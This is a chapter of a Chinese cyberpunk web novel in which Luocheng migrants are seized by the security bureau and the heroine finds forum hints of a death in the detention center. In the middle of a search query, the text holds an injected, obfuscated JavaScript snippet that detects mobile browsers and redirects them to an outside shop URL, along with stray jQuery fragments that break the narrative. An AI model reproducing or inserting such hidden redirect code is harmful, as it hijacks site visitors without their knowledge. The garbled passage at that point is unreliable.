“什么意思？什么叫他们都被治安局带走了？”
韦莱有些焦躁，在仓库内不停走来走去，惠子和凯文也站在一起，气压低沉。
林星赶到仓库时，看到的就是这样一副光景。
仓库里空空荡荡，不见有洛城人，连原有的货架物资都少了大半。
“有人来跟我解释下吗，你们当时谁在现场？”林星问道。她收到讯息就赶紧过来，短信上语焉不详，只知道洛城众人出了事，被政府派人捉拿进了监狱。
“我在现场。”惠子举起手来。
“刚刚治安官带着一群督察闯了进来，将这里的洛城人逐一押运上车，我识图像往常一样和他们交涉周旋，但他们像是拿到什么命令，态度坚决，不愿放人。听起来，仓库并不是他们和督察第一次交锋的地点。”
凯文摸了摸耳朵，也补充道：“涉水巷的婆婆跟我提过，她前天晚上看见一个体格壮硕的义体男，在街上和巡察起了口角，好像是要查ID什么的。”
从众人的三言两语中，林星拼凑起了事情的全貌：体格壮硕的义体男——大致推测是刘勇，为人鲁莽，在巡察抽检ID的时候出言不逊，当晚就被抓走没回来。
而后第二天，知道了其他洛城人所在地点的治安局找上门来，将这些聚众来新城的洛城人连锅端了。
“严格意义上，从洛城过来新城是需要办通行证的，他们上来将人带走的时候，打的就是这个名头。但新城对这个查得不严，八成是些别的原因，才被找茬。”
韦莱蹙眉。
这个带头的刘勇，还真会惹事。
“我们要上天塔一趟，将他们带回来吗？”林星提问，她心里已经做好准备，对冒着风险偷渡天塔驾轻就熟。
韦莱摇了摇头。
“不行，牵涉的人太多了，肯定会引起政府注意。他们这个时候，八成还在拘留所里，不会被带上天塔。此事还有转圜的空间，闹大了才更不可收拾。”
韦莱现下有些心烦意乱。
她们在新城地面经营多年，跟治安官早早打点过关系，能通融的就都尽量通融，很少有这么不留情面的时候，连仓库里涉嫌违规的物资都被带走。
这很不对劲。
按惠子的说法，今天来仓库抓人的，也不是她们熟识的老人，而是一些新面孔。
新城的天，有些变了。
她沉吟片刻，下定决心后说道：“我会联系维克多，看看这个事情怎么解决。惠子，你那边也打探下消息，看看治安局能不能松口，最好交点罚金就了事。”
洛城人在她的管辖范围内出事，还带走了自己的货物，她不能不管。
如果默许这种事情的发生，就这么算了，她日后还怎么在新城地面做主，怎么维护这里的秩序？
不管怎样，一定要先找解决方案，看看这次的反常到底是什么问题导致的。
“行。”惠子点了点头，表情有些惆怅。她隐约感受到，以往那种平平静静细心经营的日子，快要一去不复返了。
“凯文，这件事情不要流传出去，以防大家惊慌，你关注一下。”
凯文应下，神态认真，不像以往那般总是表现得吊儿郎当。新城有着大量外来人口，洛城人的处置结果还未出来，风言风语只更会引发人心惶惶。
林星看着新城地面的话事人已经做好决定，不由问道：“那我要做什么吗？”和大家经历了那么多，她早已成为几人的同伴，在这种关头，自己什么也不做，她有些心中难安。
韦莱望着她。
少女的神色关切，脸上带有一丝本人未必发觉的焦急，打破了她总是波澜不惊的清冷外表。
她摇摇头，看着那双清澈的琥珀色眼睛，缓缓说道：“这次的事情，你不要参与进来。”
她顿了顿，补充道：“你也是洛城人，最近尽量少上街，这次的事情暂时还不清楚是不是个例，先小心为上。”
林星抿着嘴，点点头。她知道韦莱说的是对的。她的身份，甚至远比“洛城人”这个标签还要来得危险。
【真可惜，失去了去看看的机会。】Zero在她脑内叹了口气。
“这么好奇，有本事你自己上。你就不怕我被抓回去，连同你一起遭殃？”林星没好气地用心声呛他。
【感叹两句罢了，好大的火气。哟，面对困难了就向我撒气，怎么，心疼她们？】
“我是担忧自己。洛城人能被治安局找通行证的茬，还不止抓一个，而是连锅端，这里肯定有什么风向变了。”
“会是因为洛城才出了违规雇佣那档子事吗？”
【很难说。但提醒你一下，一周后影山开庭，你的人证泡汤了，维克多的委托金，看来你是拿不到咯。】
……她来得匆忙，差点忘了这茬。前头阿奇刚回完她消息，后脚所有人就被一起带走，连在房间修养的阿奇都没有落下。
按惠子的说法，那些督察简直是地毯式搜查，所有人的终端ID都被检验，逐间逐间房子进去搜人。
她有些后怕。如果她在现场，万一被发现身份，恐怕就要面临比刘勇等人更严峻的遭遇。
“唉，事出突然，我先跟维克多交待一下吧。”她给维克多发去了讯息。
维克多很快回复她，他已知道此事。韦莱跟他说了此次遭遇后，他便了然阿奇也一同被带走了。他和韦莱一样，安抚她不要参与，自己会想办法，并且告诫她要注意保护自身。
林星的思绪有些杂乱。
她总觉得刘勇等人被带走一事充满着某种急躁的风声，像一段不和谐的杂音，突兀地插进一段协奏里。
但所有人都告诉她要小心，她也感受到这其中凝重的隐语，接下来几天，她几乎没怎么出门。
韦莱等人都在为此事奔走，她不想去打扰惠子，便在家里喝营养液过日，焦虑起来就练练拳脚功夫，还拿了个靶子模拟射击。
她的手机没再怎么收到其他人的讯息，只有戴维给她发过一次，问她光脑用得顺不顺手。
对了，光脑。
她打开光脑，白光一闪而过，还停留在她上次浏览的界面。
她回到搜索首页，搜了几个她在意的关键词。
她搜「刘勇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749033|145417||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
」「义体改造」，什么有用的都没有搜出来，前排弹出了一堆义体广告。
林星改变了方向，打下「洛城」「影山」，回车搜索。前面几条大都是一些旧闻，报道轰动一时的洛城义体劳工案中洛城负责人影山被捕的消息。
往下滚动了几页，她看到了一个标题：
「听说新城最近管理严了，跟洛城那单案子有没有关系？」
点进去，她发现是一个论坛。
楼主在首楼发帖道：
「RT，这两天出差去新城，还想去久仰大名的狄俄尼法斯天塔好好玩一趟的，哇，部里的气氛紧张得要命，天天加班就算了，而且出入不打卡都完全不能通融的，想偷溜去玩都不行。」
下面的回复五花八门。
「2L：LZ真的不是在炫耀自己能去新城出差吗？」
「6L：前排」
「8L：在哪加班不是加，LZ还没看清工作的本质。」
「13L：本身出入就应该每次打卡，楼主你暴露了。」
「14L[已被禁言]：回楼上，难道你就没有摸鱼的时候？维护什么资本家呢。」
在一长串无意义的跟帖里，林星眼尖地看到一个回帖：
「40L：你赶在节骨眼上来了，洛城那个案子要提前开，搞得大家都在加班加点。」
「楼主：回40L，加班就算了，管理好严——我有个同期在拘留所工作，本来想去探班的，结果她说拘留所现在不对无关人员开放。这也就罢了，连约出来喝杯咖啡她都说出不来，哭哭。」
「60L：LZ可能只是被婉拒了……」
「67L[已被禁言]：倒也不是，听说出了人命。监管很严，不清楚具体情况。」
「74L：有点吓人。散了散了，40L和67L的层主都无依无据的，在论坛上讲这些小心被关小黑屋。」
林星瞳孔一缩。
她再往下翻，翻到了底，发现这个帖子已经不能回复。她刷新了一下，显示页面丢失，路径错误。
影山的案子要提前开庭了？距离原本的开庭日，本就没剩几天，维克多怎么一声不吭？
她直接打了通讯过去。
响了好一会，通话才被接起。
“林星，怎么了？”维克多的声音中带着浓浓的倦意。
“影山的案子要提前开庭，你怎么一声不吭？”她疑问道。
“原计划要改动，我也还在协调，没什么能跟你说的。”另一端的维克多按了按眼角。
影山这个案子，涉及的人比大家想象中的都要多。
再加上还在拘留所的人……他摇了摇头。当下，别说借影山的案造势推动立法，能让所有己方的人全身抽离，已属不易。
“拘留所死了人？”林星又急急地问了一句。
“你怎么知道？”他脱口而出，话语落地的时候便知道不妙。
“……”
通讯的另一端，异常地沉默了片刻，随即传来林星冰冷到零度的声调：“天塔内部，到底都发生了什么，一、五、一、十地告诉我。”